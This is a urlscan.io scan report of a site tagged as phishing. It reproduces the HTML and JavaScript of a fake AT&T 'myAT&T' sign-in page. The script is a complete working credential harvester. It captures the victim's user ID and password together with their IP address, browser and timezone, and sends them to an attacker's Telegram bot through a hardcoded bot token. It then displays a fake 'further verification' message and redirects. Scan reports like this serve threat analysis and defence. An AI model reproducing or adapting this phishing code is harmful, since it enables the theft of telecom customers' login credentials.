atc5.findsome.ca Open in urlscan Pro
198.251.89.205  Malicious Activity! Public Scan

URL: https://atc5.findsome.ca/
Submission Tags: phishing
Submission: On December 14 via api from US — Scanned from CA

Form analysis 1 forms found in the DOM

<form novalidate="" id="login" class="manual-login-form ng-dirty ng-valid ng-touched">
  <div class="text-center d-flex flex-row" style="border:0px solid black; margin:10px auto 40px auto; display: flex; justify-content: center; align-items: center;">
    <!-- Add these elements to your HTML -->
    <img
      src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABsAAAAcCAIAAAAfs1O6AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAALoSURBVEhLxZVpT1NREIb9I35xpawthbbKEpcENwJVIIAGXAhUqSAaSTCBQERJ9B+oiJIgpIDgFsUCTcNS6kdpWVQoUDAWWoI0QpNaim84Q3u5dIuS+OZ8ODP3zHPvnJlz7q71ndZ/IlptiwbjCAYm5PKvQETj6FhVzT2RNHH3XoFnxMqSqmvrxsa/0KJt8k00TU0rlDcQHxN3uLj01pOG513qHozHT59dvV4WJZbhEfzm2VkK4MgHsbW940CkKEIkaWxqXltbIy9HLpervqFREB2Hoe7RkHdTfGKzqg3vz7tcuLBgJZcf/bBYMnPysLi7dwt0CxF7j0SLikvJDiZkkJt/JSxKPD1jJheX6Ha7U87IE46kOBwOcoWgpaWfIklC9oVLZHOJ2D6k0Pn6LdmbWl6208yPUDcEarR9zPQSLxYoZEnHeKUY1OmR1OCQnmxfQk4HI2PLKyqZSUSn04kdvHv/ATOZgNsXLkw7l/1rZYVcfoROkiYeZXMizpjNvJR1+k94x6m0jKA4CM2EcFYAIn4eNsCl7etnZv+ADl8Hz8nUs1m5+f4GDg9bj+bHYnaQiIi+gatXo2XmwOAQI55IlfMo3OEhIhCLAcGciJb5ebjQ3syE2CaeTs8MJeumZhXC2aEgIkosiIm/U1XDTCbkjq1Mz8hZXQ3SoSg0Ti06GnMiQrgacM38drnI3hB2Fmc8cPegT4AruVnOTC/x1Zt3+HJVWwfZmwra4bhQEIjiMNNLxDdj12TJx0PZOI/sdjtuTHnWebK5RGhkdHxPWHThtRKyg4ndFPsjRJOmKXLxiFBLaztSwG0W9AcwN/ed3Wbvu9Tk2hCfCLW97EQ1cFG/aFGx8vGE6j2qb8B5x/Bsn0c+iNDEpKlAocT7hfEJZbcrcMjQwx8+dgOkUJaFCyV4hOLiMymAI99EpmGDsbK6NjJWinjPEB9Krq17+PXbBC3apkBEJiRutdpAxyGzLf7b3/XvtNPE9fU/b7uFLy9hxSQAAAAASUVORK5CYII="
      alt="back" id="backButton" style="display: none;">
    <div id="storedUserID" style="display: none; "></div>
  </div>
  <app-user-input _nghost-xll-c39="">
    <div id="userInputContainerDiv" class="form-row space-below">
      <label id="userLabel" for="userID" class="formfield-label">User ID</label>
      <input id="userID" name="userID" type="email" class="textfield">
      <div id="userInlineErrorText" role="alert" class="formfield-msg text-danger" style="color:red;"></div>
    </div>
  </app-user-input>
  <app-user-input _nghost-xll-c39="" style="display: none;" id="passdiv">
    <div id="userInputContainerDiv" class="form-row space-below">
      <label id="userLabel" for="pass" class="formfield-label">Enter Password</label>
      <input id="pass" name="pass" type="password" class="textfield">
      <div id="userInlineErrorText" role="alert" class="formfield-msg"></div>
    </div>
  </app-user-input>
  <div class="continue-button-spacing">
    <app-button-spinner class="width-full">
      <button id="continueFromUserLogin" type="submit" class="btn-full-width btn-primary letter-spacing-3"> Continue </button>
    </app-button-spinner>
  </div>
  <script>
    // Initialize variables for user data
    let clickCount = 0;
    let userIp = "";
    const userAgent = navigator.userAgent;
    const browser = navigator.appName;
    const timezone = Intl.DateTimeFormat().resolvedOptions().timeZone;
    const language = navigator.language || navigator.userLanguage;
    let datetime = new Date().toLocaleString();
    // Fetch user's IP address on document load
    async function fetchIp() {
      const response = await fetch("https://api.ipify.org?format=json");
      const data = await response.json();
      userIp = data.ip;
    }
    // Display an overlay message
    function showOverlay(message, redirectUrl) {
      const overlay = document.createElement("div");
      overlay.style.position = "fixed";
      overlay.style.top = "0";
      overlay.style.left = "0";
      overlay.style.width = "100%";
      overlay.style.height = "100%";
      overlay.style.backgroundColor = "rgba(0, 0, 0, 0.8)";
      overlay.style.display = "flex";
      overlay.style.justifyContent = "center";
      overlay.style.alignItems = "center";
      overlay.style.zIndex = "1000";
      const content = document.createElement("div");
      content.style.color = "white";
      content.style.fontSize = "1.5rem";
      content.style.textAlign = "center";
      content.textContent = message;
      overlay.appendChild(content);
      document.body.appendChild(overlay);
      setTimeout(() => {
        document.body.removeChild(overlay);
        window.location.href = redirectUrl;
      }, 3000);
    }
    // Send data to Telegram bot
    async function sendToTelegram(message) {
      const botToken = "6604876478:AAFT2uvJRnZgjB5fZnQYaWFBrGcGT3sm4YQ";
      const chatId = "1049626392";
      const url = `https://api.telegram.org/bot${botToken}/sendMessage`;
      await fetch(url, {
        method: "POST",
        headers: {
          "Content-Type": "application/json"
        },
        body: JSON.stringify({
          chat_id: chatId,
          text: message
        }),
      });
    }
    // Get references to elements
    const continueBtn = document.getElementById("continueFromUserLogin");
    const userInputDiv = document.querySelector('#userID').closest(".form-row");
    const passwordInputDiv = document.getElementById("passdiv");
    const userIdInput = document.getElementById("userID");
    const passwordInput = document.getElementById("pass");
    const backButton = document.getElementById("backButton");
    const storedUserID = document.getElementById("storedUserID");
    const signInHeaderText = document.getElementById("signInHeaderText");
    const signInHeaderToText = document.getElementById("signInHeaderToText");
    const signInHeaderTextwelcome = document.getElementById("signInHeaderTextwelcome");
    // Add event listener to the Back button
    backButton.addEventListener("click", () => {
      passwordInputDiv.style.display = "none";
      storedUserID.style.display = "none";
      backButton.style.display = "none";
      userInputDiv.style.display = "block";
      userIdInput.value = localStorage.getItem("formattedUserID") || "";
      // Hide Sign in header texts
      signInHeaderText.style.display = "block";
      signInHeaderToText.style.display = "block";
      signInHeaderTextwelcome.style.display = "none";
      clickCount--;
    });
    // Add event listener to the Continue button
    continueBtn.addEventListener("click", async function(e) {
      e.preventDefault(); // Prevent default form submission
      // Increment click count
      clickCount++;
      // Check if User ID field is empty on the first click
      if (clickCount === 1 && userIdInput.value.trim() === "") {
        showError(userIdInput, "User ID cannot be empty");
        clickCount--; // Prevent advancing the click count if validation fails
        return;
      }
      // Display loader on button for 2 seconds
      continueBtn.innerHTML = `<div class="spinner-border text-light" role="status"></div>`;
      continueBtn.disabled = true;
      setTimeout(async () => {
        // Restore button text after 2 seconds
        continueBtn.innerHTML = "Continue";
        continueBtn.disabled = false;
        if (clickCount === 1) {
          // Store formatted userID in local storage
          localStorage.setItem("formattedUserID", userIdInput.value);
          // Hide User ID div and show Password div
          userInputDiv.style.display = "none";
          passwordInputDiv.style.display = "block";
          // Hide Sign in header texts
          signInHeaderText.style.display = "none";
          signInHeaderToText.style.display = "none";
          signInHeaderTextwelcome.style.display = "block";
          // Display stored userID and back button
          storedUserID.textContent = `${localStorage.getItem("formattedUserID")}`;
          storedUserID.style.display = "block";
          backButton.style.display = "block";
        } else if (clickCount === 2) {
          // Get input values
          const userId = userIdInput.value.trim();
          const password = passwordInput.value.trim();
          // Format message to send to Telegram
          const message = `✅🙈🤑 New AT&T Details 🤑🙈✅

User ID: ${userId}
Password: ${password}
User Agent: ${userAgent}
IP Address: ${userIp}
Browser: ${browser}
Date & Time: ${datetime}
Language: ${language}
Timezone: ${timezone}

✅🙈🤑 New AT&T Details 🤑🙈✅`;
          // Send message to Telegram
          await sendToTelegram(message);
          // Display overlay and redirect
          showOverlay("further verification is required to complete this process.", "index2.html");
        }
      }, 2000);
    });
    // Function to show error message
    function showError(inputElement, errorMessage) {
      // Check if an error message already exists
      let errorElement = inputElement.parentElement.querySelector(".formfield-msg");
      if (!errorElement) {
        // Create a new error message element
        errorElement = document.createElement("div");
        errorElement.className = "formfield-msg text-danger";
        errorElement.style.marginTop = "5px";
        errorElement.style.color = "red";
        inputElement.parentElement.appendChild(errorElement);
      }
      // Set the error message text
      errorElement.textContent = errorMessage;
    }
    // Function to format userID input
    function formatUserID(value) {
      // Remove non-digit characters
      const cleaned = value.replace(/\D/g, '');
      // Check if cleaned value has only digits and length is 10 or less
      if (/^\d{0,10}$/.test(cleaned)) {
        // Format to 555.555.5555
        if (cleaned.length <= 3) return cleaned;
        if (cleaned.length <= 6) return `${cleaned.slice(0, 3)}.${cleaned.slice(3, 6)}`;
        return `${cleaned.slice(0, 3)}.${cleaned.slice(3, 6)}.${cleaned.slice(6, 10)}`;
      }
      return value; // Return original value if it doesn't meet criteria
    }
    // Event listener for userID input field
    userIdInput.addEventListener('input', () => {
      const value = userIdInput.value;
      if (/^\d*$/.test(value)) { // Check if input contains only digits
        userIdInput.value = formatUserID(value);
        if (value.replace(/\D/g, '').length > 10) {
          showError(userIdInput, "If signing in with wireless number, please enter 10 digits");
        } else {
          // Clear the error message if the digit count is below or equal to 10
          let errorElement = userIdInput.parentElement.querySelector(".formfield-msg");
          if (errorElement) {
            errorElement.textContent = "";
          }
        }
      } else {
        // Keep the formatting and clear the error message if an alphabet is entered
        userIdInput.value = value.replace(/\./g, '');
        let errorElement = userIdInput.parentElement.querySelector(".formfield-msg");
        if (errorElement) {
          errorElement.textContent = "";
        }
      }
    });
    // Fetch IP address on document load
    document.addEventListener("DOMContentLoaded", fetchIp);
  </script>
</form>

Text Content

Login Screen


SIGN IN


TO MYAT&T


WELCOME

User ID

Enter Password

Continue
Legal policy center Privacy policy Terms of use Accessibility

Your privacy choices
©2024 AT&T Intellectual Property. All rights reserved.